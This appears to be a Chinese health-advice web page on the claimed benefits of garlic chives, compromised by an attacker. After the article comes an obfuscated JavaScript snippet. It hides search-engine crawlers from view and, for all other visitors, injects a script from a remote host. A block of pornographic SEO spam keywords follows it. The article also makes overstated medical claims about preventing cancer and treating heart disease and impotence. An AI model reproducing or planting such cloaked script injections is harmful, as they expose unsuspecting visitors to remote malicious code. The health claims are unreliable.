當前位置:首頁 > 飲食 > 食物營養 > 正文

韭菜的功效和作用有哪些

2017-07-11 18:02:32  來源:360常識網   熱度:
導語:韭菜是我們生活中比較常見的蔬菜,我們吃水餃的時候,就會使用韭菜做餡,深受人們的喜歡。不過,韭菜不光是一種蔬菜,還可以作為藥物來使用

韭菜是我們生活中比較常見的蔬菜,我們吃水餃的時候,就會使用韭菜做餡,深受人們的喜歡。不過,韭菜不光是一種蔬菜,還可以作為藥物來使用,功能和作用是受到人們長期實踐的,對我們的身體非常有幫助。因此,只有我們全面的認識韭菜的功效和作用,才能更好的為我們所用。那么,韭菜的功效和作用有哪些?

韭菜增進食欲

韭菜中含有植物性芳香揮發油,具有增進食欲的作用,老人、孩子、孕婦等適當吃些春韭,有益于增進健康。

韭菜健胃消食

韭菜具保暖、健胃的功效,其所含的粗纖維可促進腸蠕動,幫助人體消化。不但可預防習慣性便秘和腸癌,還可將消化道中的某些雜物包裹起來,隨大便排出體外,所以在民間還被稱為“洗腸草”。

韭菜散瘀活血

韭菜有散瘀、活血、解毒的功效,有益于人體降低血脂,防治冠心病、貧血、動脈硬化。

韭菜殺菌消炎

韭菜所含的硫化合物有一定殺菌消炎的作用,可抑制綠膿桿菌、痢疾、傷寒、大腸桿菌和金黃色葡萄菌。

韭菜護膚明目

韭菜富含維生素A,多吃不僅能美容護膚、明目和潤肺,還能降低患傷風感冒、寒喘等疾病的幾率。

韭菜補氣壯陽

韭菜可防治陽萎、多尿、腰痛、腿軟等腎氣虛癥。

知道了韭菜的功效與作用有這么多,建議您不妨在飲食中多多偏重于韭菜。

有關韭菜的功效和作用有哪些的介紹,大家應該清楚了吧。韭菜可是好東西,相信性能力不好的男性有很多,如果平時多吃韭菜的話,是可以獲得非常不錯的改善效果的。不過韭菜吃多了容易燒心,我們最好是根據飲食習慣,合理的進行搭配。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品亚洲人成在线| 热久久这里只有精品| 亚洲精品在线视频观看| 久久国产加勒比精品无码| 久久精品人人爽人人爽| 精品人妻中文av一区二区三区| 久久精品影院永久网址| 人人妻人人澡人人爽人人精品电影| 精品久久久久久亚洲精品| 中文字幕色婷婷在线精品中| 国产午夜精品片一区二区三区| 国产精品无码一本二本三本色| 精品午夜福利1000在线观看| 亚洲国产精品人久久| 久久亚洲精品无码gv| 久久无码精品一区二区三区| 久久久这里有精品999| 亚洲中文字幕精品久久| 下载天堂国产AV成人无码精品网站 | 国产99视频精品草莓免视看| 田中瞳中文字幕久久精品| 亚洲网红精品大秀在线观看| 国产精品一区二区在线观看| 亚洲午夜国产精品无码 | 亚洲综合国产精品第一页 | 精品国产三上悠亚在线观看| 久久久久久青草大香综合精品| 538精品视频在线观看mp4| 国产精品午夜小视频观看| 青青草国产精品久久久久| 精品熟女少妇AV免费观看| 日韩精品亚洲aⅴ在线影院| 国产高清精品入口91| 久久se这里只有精品| 国产高清在线精品一区| 精品亚洲一区二区三区在线播放| 亚洲国产精品综合久久20| 精品国产91久久久久久久a | 精品一区二区在线观看| 国产精品无码亚洲一区二区三区 | 99热在线精品国产观看|